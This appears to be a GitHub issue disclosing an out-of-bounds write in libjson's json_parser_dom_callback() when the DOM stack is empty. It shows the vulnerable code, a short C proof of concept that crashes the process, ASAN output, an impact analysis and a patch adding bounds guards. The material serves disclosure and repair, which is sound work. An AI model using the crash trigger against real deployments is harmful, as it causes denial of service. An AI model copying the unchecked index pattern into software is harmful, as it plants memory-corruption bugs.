Skip to content

json_parser_dom_callback() missing stack_offset bounds check leads to stack[-1] OOB write #33

Description

@xinyi234

Summary

json_parser_dom_callback() (json.c:1057) computes a stack index as ctx->stack_offset - 1 without
validating that stack_offset > 0. When the DOM stack is empty (stack_offset == 0) and a JSON_KEY or
value-type callback (JSON_STRING, JSON_INT, JSON_FLOAT, JSON_NULL, JSON_TRUE, JSON_FALSE) is
delivered, stack[-1] is dereferenced, producing a heap out-of-bounds write that crashes the process
(SIGSEGV).

The same function's JSON_OBJECT_END / JSON_ARRAY_END handler already includes the stack_offset > 0
guard at line 1051, confirming this is an oversight rather than a deliberate design choice. The normal
json_parser_string() parsing path is unaffected because the state machine guarantees correct nesting order.

Affected Code

File Function Line
json.c json_parser_dom_callback()JSON_KEY handler 1055–1061
json.c json_parser_dom_callback() — value-type handler 1063–1076

Root Cause

Path A — JSON_KEY with empty stack (json.c:1055–1061)

When stack_offset == 0, the expression ctx->stack_offset - 1 underflows (unsigned wrap to 0xFFFFFFFF),
causing stack to point one json_val_t before the heap allocation. The subsequent memory_calloc writes the
returned pointer to that invalid address:

case JSON_KEY:
    stack = &(ctx->stack[ctx->stack_offset - 1]);  // stack_offset=0 ⇒ stack[-1]
    stack->key = memory_calloc(ctx->user_calloc, length + 1, sizeof(char));
    stack->key_length = length;
    if (!stack->key)
        return JSON_ERROR_NO_MEMORY;
    memcpy(stack->key, data, length);
    break;

Path B — value types with empty stack (json.c:1063–1076)

The same unchecked stack_offset - 1 access exists in the handler for JSON_STRING, JSON_INT,
JSON_FLOAT, JSON_NULL, JSON_TRUE, and JSON_FALSE:

case JSON_STRING:
case JSON_INT:
case JSON_FLOAT:
case JSON_NULL:
case JSON_TRUE:
case JSON_FALSE:
    stack = &(ctx->stack[ctx->stack_offset - 1]);  // same unchecked subtraction
    v = ctx->create_data(type, data, length);
    if (!v)
        return JSON_ERROR_CALLBACK;
    if (ctx->append(stack->val, stack->key, stack->key_length, v))
        return JSON_ERROR_CALLBACK;
    memory_free(ctx->user_free, stack->key);
    break;

Additionally, the JSON_OBJECT_END / JSON_ARRAY_END handler at line 1051 already contains the guard
(if (ctx->stack_offset > 0)) that is missing from the KEY and value-type handlers, confirming an
inconsistent-defensive-programming defect.

Proof of Concept

#include <stdlib.h>
#include <string.h>
#include "json.h"

static void *cs(int n, int o) { (void)n; (void)o; return malloc(1); }
static void *cd(int t, const char *d, uint32_t l) { (void)t; return malloc(l+1); }
static int ap(void *p, char *k, uint32_t kl, void *v)
    { (void)p; (void)k; (void)kl; (void)v; return 0; }

int main(void) {
    json_parser_dom dom;
    memset(&dom, 0, sizeof(dom));
    dom.stack_size = 1024;
    dom.stack = calloc(dom.stack_size, sizeof(*dom.stack));
    dom.stack_offset = 0;               /* EMPTY STACK */
    dom.create_structure = cs;
    dom.create_data = cd;
    dom.append = ap;

    /* json.c:1057 — stack[-1] with stack_offset=0 → SIGSEGV */
    json_parser_dom_callback(&dom, JSON_KEY, "key", 3);
    return 0;  /* never reached */
}

Compile and run:

gcc -fsanitize=address -g -o poc poc.c json.c && ./poc

ASAN output:

==183670==ERROR: AddressSanitizer: SEGV on unknown address 0x52c8000001f0
    #0 json_parser_dom_callback  /libjson/json.c:1057
    #1 main                      /libjson/poc.c:30
    #2 __libc_start_main         (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
    #3 _start                    (/libjson/poc+0x8344)
SUMMARY: AddressSanitizer: SEGV /libjson/json.c:1057 in json_parser_dom_callback

Attack Chain

json_parser_dom_callback() called with stack_offset=0, type=JSON_KEY
         │
         ▼
stack = &ctx->stack[0 - 1]  →  stack points before the heap allocation
         │
         ▼
stack->key = memory_calloc(...)  →  writes to illegal address
         │
         ▼
SIGSEGV → process crash (DoS) / potential heap metadata corruption

Impact

  1. Denial of Servicestack[-1] dereference crashes the process with SIGSEGV
  2. Inconsistent API safetyjson_parser_dom_callback() is a public API (declared in json.h:223) but
    lacks input validation, violating the principle of least surprise for callers
  3. Normal parsing unaffectedjson_parser_string() state machine guarantees correct nesting, so this
    path is unreachable through standard JSON parsing
  4. Third-party wrapper risk — wrappers that invoke the DOM callback API with out-of-order events may
    trigger the crash

Proposed Fix

Fix 1 — Add stack_offset guard to JSON_KEY handler (json.c:1055)

  case JSON_KEY:
+     if (ctx->stack_offset == 0)
+         return JSON_ERROR_UNEXPECTED_CHAR;
      stack = &(ctx->stack[ctx->stack_offset - 1]);
      stack->key = memory_calloc(ctx->user_calloc, length + 1, sizeof(char));

Fix 2 — Add stack_offset guard to value-type handler (json.c:1063)

  case JSON_STRING:
  case JSON_INT:
  case JSON_FLOAT:
  case JSON_NULL:
  case JSON_TRUE:
  case JSON_FALSE:
+     if (ctx->stack_offset == 0)
+         return JSON_ERROR_UNEXPECTED_CHAR;
      stack = &(ctx->stack[ctx->stack_offset - 1]);
      v = ctx->create_data(type, data, length);

This mirrors the existing guard already present in the JSON_OBJECT_END / JSON_ARRAY_END handler at
json.c:1051, making the defensive posture consistent across all event types.

Environment

  • libjson version: latest master
  • OS: Linux x86_64
  • Compiler: GCC (with and without -fsanitize=address)

References

  • CWE-129: Improper Validation of Array Index
  • CWE-787: Out-of-bounds Write
  • CERT C ARR30-C: Do not form or use out-of-bounds pointers or array subscripts

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions